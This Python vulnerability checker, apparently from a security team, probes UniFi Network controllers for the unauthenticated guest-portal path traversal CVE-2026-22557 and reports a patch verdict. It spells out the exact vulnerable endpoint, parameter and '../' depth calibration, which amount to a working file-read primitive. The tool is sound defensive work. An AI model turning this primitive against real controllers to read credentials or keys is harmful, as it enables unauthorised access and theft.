cve_2026_22557_check.py

#!/usr/bin/env python3
"""CVE-2026-22557 — UniFi Network path-traversal detection tool.

Probes a UniFi Network controller for the unauthenticated guest-portal path
traversal patched in Ubiquiti SAB-062 (10.1.89 / 10.2.97 / 9.0.118). Reports
one of four verdicts for the probed site:

  VULNERABLE       — traversal fires and the customized-portal filesystem
                     branch is active. An unauthenticated attacker can read
                     arbitrary files as the controller process user. Patch
                     immediately.
  PARTIALLY EXPOSED — traversal fires but the customized-portal branch is
                     not active on this site. The application binary is
                     vulnerable; this site happens not to expose the disk
                     read path. Patch; verify other sites with --site.
  NOT VULNERABLE   — guest portal is reachable but no traversal hit at any
                     depth. Likely patched.
  NOT EXPOSED      — guest portal not reachable for this site at this URL.

Stages, in order:

  1. EXPOSURE — GET /guest/s/{site}/ must return 200 text/html, confirming
     the guest-portal servlet is dispatched on this connector.
  2. DEPTH CALIBRATION — issue the traversal at depths 1..N against a known
     filename available in both code paths. The first hit gives the working
     `../` count; a total miss across all depths is conclusive proof the
     traversal does not fire on this connector.
  3. BRANCH CONFIRMATION — at the calibrated depth, attempt to read a
     non-sensitive runtime catalog file. A hit positively confirms the
     customized-portal filesystem branch is active (the precondition for
     unauthenticated arbitrary file disclosure). The script never reads
     credentials, keys, or backups; the catalog file is used purely as a
     branch-active oracle.

The script defaults to the `default` site. Use `--site <name>` to probe a
different site slug. The script is read-only and does not modify the
target. No file content is written to stdout or disk; the tool only reports
the verdict.

Usage:
  cve_2026_22557_check.py https://TARGET:8443
  cve_2026_22557_check.py https://TARGET:8443 --site hotspot

Exit codes:
  0 — VULNERABLE
  1 — partially exposed / not vulnerable / not exposed
  2 — transport-level failure (host unreachable, TLS error, etc.)
"""

from __future__ import annotations

import argparse
import json
import os
import re
import socket
import ssl
import sys
import tempfile
import urllib.error
import urllib.parse
import urllib.request
from typing import NamedTuple

UA = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36"

# HTML / portal-template markers. Presence indicates the failure page was
# rendered or a non-vulnerable endpoint answered — not a raw file read.
HTML_MARKERS = (b"<!doctype", b"<html", b"<unifi ")

# Stage-2 depth-calibration anchor. A small configuration file readable from
# both the disk branch and the JAR classpath fallback, so it serves only as
# a depth oracle (not as a branch oracle).
CALIBRATION_FILE = ("system.properties", b"system.properties")

# Stage-3 branch-confirmation probe. Runtime-populated catalog files that
# exist on disk but are not bundled in any JAR — a 200 here positively
# confirms the filesystem branch is active. Both files are non-sensitive
# (device model and firmware metadata catalogs); the tool requests them
# purely as a branch oracle and discards the body after checking the
# content marker.
FS_PROBES: tuple[tuple[str, bytes | None], ...] = (
    ("firmware.json", b'"version"'),
    ("uidb.json", b'"name"'),
)


class CalibrationResult(NamedTuple):
    prefix: str | None
    fs_active: bool
    fs_probe: str | None = None
    fs_probe_size: int | None = None


class Target:
    """One UniFi controller, bound to a specific site."""

    def __init__(self, base: str, site: str, timeout: int = 20, insecure: bool = True):
        self.base = base.rstrip("/")
        self.site = site
        self.timeout = timeout
        self.ctx = ssl.create_default_context()
        if insecure:
            self.ctx.check_hostname = False
            self.ctx.verify_mode = ssl.CERT_NONE
        self.data_prefix: str | None = None

    def _raw_get(self, path: str, accept: str | None = None):
        headers = {"User-Agent": UA}
        if accept:
            headers["Accept"] = accept
        req = urllib.request.Request(self.base + path, headers=headers)
        try:
            with urllib.request.urlopen(
                req, timeout=self.timeout, context=self.ctx
            ) as r:
                return r.status, dict(r.headers), r.read()
        except urllib.error.HTTPError as e:
            return e.code, dict(e.headers), e.read()

    def _traversal_get(self, page_error: str):
        url = f"/guest/s/{self.site}/wechat/sign?page_error=" + urllib.parse.quote(
            page_error, safe="/."
        )
        return self._raw_get(url, accept="application/octet-stream")

    def exposure_check(self):
        status, hdrs, _ = self._raw_get(f"/guest/s/{self.site}/")
        ctype = hdrs.get("Content-Type", "").lower().replace(" ", "")
        return status == 200 and "text/html" in ctype, status, ctype

    def traversal_read(self, depth: int, relpath: str):
        status, _, body = self._traversal_get("../" * depth + relpath)
        return status, body

    @staticmethod
    def looks_like_file(
        status: int,
        body: bytes,
        marker: bytes | None = None,
        min_size: int = 1,
    ) -> bool:
        if status != 200 or len(body) < min_size:
            return False
        head = body[:512].lower()
        if any(m in head for m in HTML_MARKERS):
            return False
        if marker is None:
            return True
        return marker.lower() in body.lower() if marker.isascii() else marker in body

    def calibrate(self, max_depth: int = 8) -> CalibrationResult:
        cal_name, cal_marker = CALIBRATION_FILE
        for depth in range(1, max_depth + 1):
            status, body = self.traversal_read(depth, cal_name)
            if not self.looks_like_file(status, body, cal_marker):
                continue
            prefix = "../" * depth
            self.data_prefix = prefix
            for probe_name, probe_marker in FS_PROBES:
                s, b = self.traversal_read(depth, probe_name)
                if self.looks_like_file(s, b, probe_marker):
                    return CalibrationResult(prefix, True, probe_name, len(b))
            return CalibrationResult(prefix, False)
        return CalibrationResult(None, False)


# ---------------------------------------------------------------------------
# Controller version (unauthenticated; does not use the traversal)
# ---------------------------------------------------------------------------

_VERSION_RE = re.compile(r"^(\d+\.\d+\.\d+)")
_BUNDLE_VERSION_RE = re.compile(rb'VERSION:"(\d+\.\d+\.\d+)')
_BUNDLE_SRC_RE = re.compile(
    rb'src=["\']?((?:angular|react)/[A-Za-z0-9_-]+/js/[A-Za-z0-9._-]+\.js)'
)


def _plain_http_get(
    base: str, path: str, ctx: ssl.SSLContext, timeout: int
) -> bytes | None:
    req = urllib.request.Request(base.rstrip("/") + path, headers={"User-Agent": UA})
    try:
        with urllib.request.urlopen(req, timeout=timeout, context=ctx) as r:
            return r.read()
    except (urllib.error.URLError, urllib.error.HTTPError, TimeoutError):
        return None


def get_controller_version(base: str, ctx: ssl.SSLContext, timeout: int) -> str | None:
    """Best-effort recover the controller's short version (e.g. '10.1.85').

    Useful as defender context: 10.1.89+ / 10.2.97+ / 9.0.118+ carry the
    SAB-062 fix.
    """
    body = _plain_http_get(base, "/status", ctx, timeout)
    if body:
        try:
            doc = json.loads(body)
            meta = doc.get("meta") or {}
            ver = meta.get("server_version") or doc.get("server_version")
            if isinstance(ver, str):
                m = _VERSION_RE.match(ver)
                if m:
                    return m.group(1)
        except json.JSONDecodeError:
            pass

    root = _plain_http_get(base, "/manage/", ctx, timeout) or _plain_http_get(
        base, "/", ctx, timeout
    )
    if root:
        m = _BUNDLE_SRC_RE.search(root)
        if m:
            bundle = _plain_http_get(
                base, "/manage/" + m.group(1).decode(), ctx, timeout
            )
            if bundle:
                bm = _BUNDLE_VERSION_RE.search(bundle)
                if bm:
                    return bm.group(1).decode()
    return None


# ---------------------------------------------------------------------------
# TLS recon (informational; surfaces subject/SAN so the operator can confirm
# they're hitting the intended target)
# ---------------------------------------------------------------------------


def cert_recon(host: str, port: int, timeout: int) -> dict | None:
    try:
        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        with socket.create_connection((host, port), timeout=timeout) as sock:
            with ctx.wrap_socket(sock, server_hostname=host) as ssock:
                der = ssock.getpeercert(binary_form=True)
        if not der:
            return None
        pem = ssl.DER_cert_to_PEM_cert(der)
        tf = tempfile.NamedTemporaryFile("w", suffix=".pem", delete=False)
        try:
            tf.write(pem)
            tf.close()
            return ssl._ssl._test_decode_cert(tf.name)  # type: ignore[attr-defined]
        finally:
            os.unlink(tf.name)
    except Exception:
        return None


def _flatten_rdn(rdn):
    return {k: v for entry in rdn for k, v in entry}


def format_cert(info: dict) -> str:
    parts = []
    subj = _flatten_rdn(info.get("subject", ()))
    iss = _flatten_rdn(info.get("issuer", ()))
    if cn := subj.get("commonName"):
        parts.append(f"CN={cn}")
    if o := subj.get("organizationName"):
        parts.append(f"O={o}")
    if cn := iss.get("commonName"):
        parts.append(f"issuer={cn}")
    san = info.get("subjectAltName", ())
    if san:
        sans = ",".join(f"{t[0]}:{t[1]}" for t in san)
        parts.append(f"SAN=[{sans}]")
    return " ".join(parts) if parts else "(no recognizable fields)"


# ---------------------------------------------------------------------------
# Terminal output: TTY-aware coloring and structured logging
# ---------------------------------------------------------------------------


class UI:
    """Color-aware printer with progress steps and a final result block."""

    WIDTH = 68

    def __init__(self, brief: bool = False, color: bool | None = None):
        self.brief = brief
        if color is None:
            color = sys.stdout.isatty() and os.environ.get("NO_COLOR") is None
        self.use_color = color
        c = self._codes()
        self.BOLD, self.DIM = c["BOLD"], c["DIM"]
        self.RED, self.GREEN, self.YELLOW, self.BLUE, self.CYAN = (
            c["RED"],
            c["GREEN"],
            c["YELLOW"],
            c["BLUE"],
            c["CYAN"],
        )
        self.OFF = c["OFF"]

    def _codes(self):
        if not self.use_color:
            return dict.fromkeys(
                ("BOLD", "DIM", "RED", "GREEN", "YELLOW", "BLUE", "CYAN", "OFF"), ""
            )
        return {
            "BOLD": "\033[1m",
            "DIM": "\033[2m",
            "RED": "\033[91m",
            "GREEN": "\033[92m",
            "YELLOW": "\033[93m",
            "BLUE": "\033[94m",
            "CYAN": "\033[96m",
            "OFF": "\033[0m",
        }

    def banner(
        self, title: str, subtitle: str | None = None, credit: str | None = None
    ):
        if self.brief:
            return
        bar = "=" * self.WIDTH
        print(f"{self.BOLD}{bar}{self.OFF}")
        print(f"{self.BOLD}  {title}{self.OFF}")
        if subtitle:
            print(f"  {self.DIM}{subtitle}{self.OFF}")
        if credit:
            print(f"  {self.DIM}{credit}{self.OFF}")
        print(f"{self.BOLD}{bar}{self.OFF}")
        print()

    def step(self, msg: str):
        if self.brief:
            return
        print(f"{self.BLUE}{self.BOLD}>>{self.OFF} {self.BOLD}{msg}{self.OFF}")

    def kv(self, label: str, value: str, tag: str | None = None, tag_color: str = ""):
        if self.brief:
            return
        tagged = f"  {tag_color}[{tag}]{self.OFF}" if tag else ""
        print(f"     {self.DIM}{label}:{self.OFF} {value}{tagged}")

    def ok(self, msg: str):
        if self.brief:
            return
        print(f"     {self.GREEN}[ OK ]{self.OFF}  {msg}")

    def warn(self, msg: str):
        if self.brief:
            return
        print(f"     {self.YELLOW}[WARN]{self.OFF}  {msg}")

    def fail(self, msg: str):
        if self.brief:
            return
        print(f"     {self.RED}[FAIL]{self.OFF}  {msg}")

    def note(self, msg: str):
        if self.brief:
            return
        print(f"     {self.DIM}{msg}{self.OFF}")

    def result(
        self,
        verdict: str,
        color: str,
        body_lines: list[str],
        brief_line: str,
    ):
        """Print the full result block, or a single-line summary in --brief mode."""
        if self.brief:
            print(brief_line)
            return
        bar = "=" * self.WIDTH
        centered = f"RESULT: {verdict}".center(self.WIDTH)
        print()
        print(f"{self.BOLD}{bar}{self.OFF}")
        print(f"{self.BOLD}{color}{centered}{self.OFF}")
        print(f"{self.BOLD}{bar}{self.OFF}")
        print()
        for line in body_lines:
            print(line)
        print()
        print(f"{self.BOLD}{bar}{self.OFF}")


# ---------------------------------------------------------------------------
# Per-site probe
# ---------------------------------------------------------------------------


def probe_site(t: Target, max_depth: int, ui: UI) -> tuple[str, dict]:
    """Return one of: NOT_EXPOSED | NO_LFI | CLASSPATH_ONLY | EXPLOITABLE."""
    ui.step("Checking whether the guest portal is reachable")
    try:
        exposed, status, ctype = t.exposure_check()
    except Exception as e:
        ui.fail(f"Could not reach the controller: {e}")
        return "TRANSPORT_ERROR", {"error": str(e)}
    if not exposed:
        ui.warn(
            f"Guest portal is not reachable at this URL for site '{t.site}' "
            f"(HTTP {status})"
        )
        return "NOT_EXPOSED", {"status": status, "ctype": ctype}
    ui.ok(f"Guest portal is reachable for site '{t.site}'")

    ui.step("Testing whether the vulnerable code path responds")
    try:
        cal = t.calibrate(max_depth=max_depth)
    except Exception as e:
        ui.fail(f"Network error while testing the traversal: {e}")
        return "TRANSPORT_ERROR", {"error": str(e)}

    if cal.prefix is None:
        ui.ok("The vulnerable code path did not respond. This looks patched.")
        return "NO_LFI", {}

    depth = cal.prefix.count("../")
    ui.warn(
        "The vulnerable code path responded to an unauthenticated request "
        f"(at traversal depth {depth})"
    )

    ui.step("Confirming whether disk content is readable")
    if not cal.fs_active:
        ui.warn("The disk-read precondition is NOT active for this site.")
        return "CLASSPATH_ONLY", {"depth": depth}

    ui.fail(
        f"Internal files are readable without credentials "
        f"(fetched {cal.fs_probe}, {cal.fs_probe_size:,} bytes)."
    )
    return "EXPLOITABLE", {"depth": depth, "fs_probe": cal.fs_probe}


def _is_patched(version: str) -> bool | None:
    """True if `version` is at or above a fixed release, False if below a
    known-vulnerable branch's fix, None if unrecognized branch.
    """
    try:
        parts = [int(p) for p in version.split(".")[:3]]
        if len(parts) < 3:
            return None
        major, minor, patch = parts[0], parts[1], parts[2]
    except (ValueError, IndexError):
        return None
    # SAB-062 fix lines: 10.1.89, 10.2.97, 9.0.118
    if major == 10 and minor == 1:
        return patch >= 89
    if major == 10 and minor == 2:
        return patch >= 97
    if major == 10 and minor >= 3:
        return True
    if major == 9 and minor == 0:
        return patch >= 118
    if major > 10:
        return True
    return None


def _print_result(ui: UI, verdict: str, target: str, site: str, detail: dict):
    """Print the final result block. Body text is plain English for defenders."""
    if verdict == "EXPLOITABLE":
        ui.result(
            "VULNERABLE",
            ui.RED,
            [
                f"{ui.BOLD}This controller is vulnerable to CVE-2026-22557.{ui.OFF}",
                "",
                "An attacker with network access to this controller can read",
                "internal files (configuration, credentials, TLS keys, device",
                "passwords, and stored backups) WITHOUT logging in.",
                "",
                f"{ui.BOLD}Recommended actions:{ui.OFF}",
                "  1. Upgrade UniFi Network Application to 10.1.89, 10.2.97, or",
                "     9.0.118 (or later) immediately.",
                "  2. Until you can upgrade, restrict network access to ports",
                "     8443, 8843, and 8880 to trusted networks only.",
                "  3. After patching, rotate credentials that may have been",
                "     exposed: admin passwords, the SSH credential the controller",
                "     pushes to managed devices, the controller's TLS keystore,",
                "     RADIUS / VPN / WireGuard secrets, SMTP relay passwords,",
                "     and any payment-gateway keys.",
                "",
                f"{ui.DIM}Details: target={target}  site={site}  "
                f"(confirmed via {detail.get('fs_probe', '?')}){ui.OFF}",
            ],
            brief_line=f"{ui.BOLD}{ui.RED}[VULNERABLE]{ui.OFF}        {target} site={site}",
        )
        return
    if verdict == "CLASSPATH_ONLY":
        ui.result(
            "PARTIALLY EXPOSED",
            ui.YELLOW,
            [
                f"{ui.BOLD}This controller is running a vulnerable software{ui.OFF}",
                f"{ui.BOLD}version, but the specific configuration needed to{ui.OFF}",
                f"{ui.BOLD}exploit the bug is not active for the site you tested.{ui.OFF}",
                "",
                "The controller still needs to be patched. The same controller",
                "becomes fully exploitable if any other site on it has the",
                "customized-portal setting turned on.",
                "",
                f"{ui.BOLD}Recommended actions:{ui.OFF}",
                "  1. Upgrade to 10.1.89, 10.2.97, or 9.0.118 (or later).",
                "  2. If you run multiple sites, re-run this check with",
                "     --site <name> for each one.",
                "",
                f"{ui.DIM}Details: target={target}  site={site}{ui.OFF}",
            ],
            brief_line=f"{ui.BOLD}{ui.YELLOW}[PARTIAL]{ui.OFF}           {target} site={site}",
        )
        return
    if verdict == "NO_LFI":
        ui.result(
            "NOT VULNERABLE",
            ui.GREEN,
            [
                f"{ui.BOLD}This controller does not appear to be vulnerable to{ui.OFF}",
                f"{ui.BOLD}CVE-2026-22557 on the site you tested.{ui.OFF}",
                "",
                "The guest portal is reachable, but the vulnerable code path",
                "does not respond. This is the expected behavior for a patched",
                "controller (10.1.89, 10.2.97, 9.0.118, or later).",
                "",
                "If you run multiple sites, you may want to re-run with",
                "--site <name> for each one to be thorough.",
                "",
                f"{ui.DIM}Details: target={target}  site={site}{ui.OFF}",
            ],
            brief_line=f"{ui.BOLD}{ui.GREEN}[NOT VULNERABLE]{ui.OFF}    {target} site={site}",
        )
        return
    if verdict == "NOT_EXPOSED":
        ui.result(
            "NOT EXPOSED",
            ui.CYAN,
            [
                f"{ui.BOLD}The guest portal is not reachable on this URL for{ui.OFF}",
                f"{ui.BOLD}site '{site}'.{ui.OFF}",
                "",
                "Either the guest portal is disabled, the site name is",
                "different, or you are pointing the tool at the wrong URL.",
                "",
                "If you run multiple sites, re-run with --site <name>.",
                "",
                f"{ui.DIM}Details: target={target}  site={site}{ui.OFF}",
            ],
            brief_line=f"{ui.BOLD}{ui.CYAN}[NOT EXPOSED]{ui.OFF}       {target} site={site}",
        )
        return
    # TRANSPORT_ERROR
    ui.result(
        "CHECK FAILED",
        ui.YELLOW,
        [
            f"{ui.BOLD}Could not complete the check because of a network error.{ui.OFF}",
            "",
            "Verify the URL is correct, the controller is reachable from",
            "this machine, and that any firewall in between permits the",
            "connection.",
            "",
            f"{ui.DIM}Error: {detail.get('error', '?')}{ui.OFF}",
            f"{ui.DIM}Details: target={target}  site={site}{ui.OFF}",
        ],
        brief_line=f"{ui.BOLD}{ui.YELLOW}[CHECK FAILED]{ui.OFF}      {target} site={site}",
    )


def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-22557 — UniFi Network path-traversal detection tool. "
        "Probes a controller for the SAB-062 unauthenticated guest-portal traversal "
        "and reports a verdict for the configured site. Read-only; does not write "
        "or modify the target."
    )
    ap.add_argument("target", help="base URL, e.g. https://10.0.0.1:8443")
    ap.add_argument(
        "--site",
        default="default",
        help="UniFi site slug to probe (default: 'default')",
    )
    ap.add_argument(
        "--max-depth", type=int, default=8, help="max ../ depth to try (default: 8)"
    )
    ap.add_argument(
        "--no-tls-recon", action="store_true", help="skip TLS cert subject/SAN recon"
    )
    ap.add_argument(
        "--timeout", type=int, default=20, help="per-request timeout in seconds"
    )
    ap.add_argument(
        "--no-color",
        action="store_true",
        help="disable ANSI color output (also honored: NO_COLOR env var)",
    )
    ap.add_argument(
        "--brief",
        action="store_true",
        help="print a single-line verdict only (e.g. '[VULNERABLE] https://host:8443 site=default')",
    )
    args = ap.parse_args()

    if not re.match(r"^https?://", args.target):
        sys.exit("[!] target must start with http:// or https://")

    use_color = None if not args.no_color else False
    ui = UI(brief=args.brief, color=use_color)

    ui.banner(
        "CVE-2026-22557 Vulnerability Check",
        "UniFi Network Application unauthenticated path traversal",
        "Bishop Fox Team X",
    )
    ui.kv("Target", args.target)
    ui.kv("Site", args.site)
    if not args.brief:
        print()

    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    ui.step("Identifying the controller")
    if not args.no_tls_recon:
        parsed = urllib.parse.urlsplit(args.target)
        port = parsed.port or (443 if parsed.scheme == "https" else 80)
        if parsed.scheme == "https" and parsed.hostname:
            cert_info = cert_recon(parsed.hostname, port, args.timeout)
            if cert_info:
                ui.kv("TLS certificate", format_cert(cert_info))
            else:
                ui.kv("TLS certificate", "could not retrieve / parse")

    version = get_controller_version(args.target, ctx, args.timeout)
    if version:
        patched = _is_patched(version)
        if patched is True:
            ui.kv("Software version", version, tag="patched", tag_color=ui.GREEN)
        elif patched is False:
            ui.kv(
                "Software version",
                version,
                tag="UNPATCHED, vulnerable build",
                tag_color=ui.RED,
            )
        else:
            ui.kv(
                "Software version", version, tag="unknown branch", tag_color=ui.YELLOW
            )
    else:
        ui.kv("Software version", "could not determine")

    t = Target(args.target, args.site, timeout=args.timeout)
    verdict, detail = probe_site(t, args.max_depth, ui)

    _print_result(ui, verdict, args.target, args.site, detail)

    if verdict == "EXPLOITABLE":
        return 0
    if verdict == "TRANSPORT_ERROR":
        return 2
    return 1


if __name__ == "__main__":
    sys.exit(main())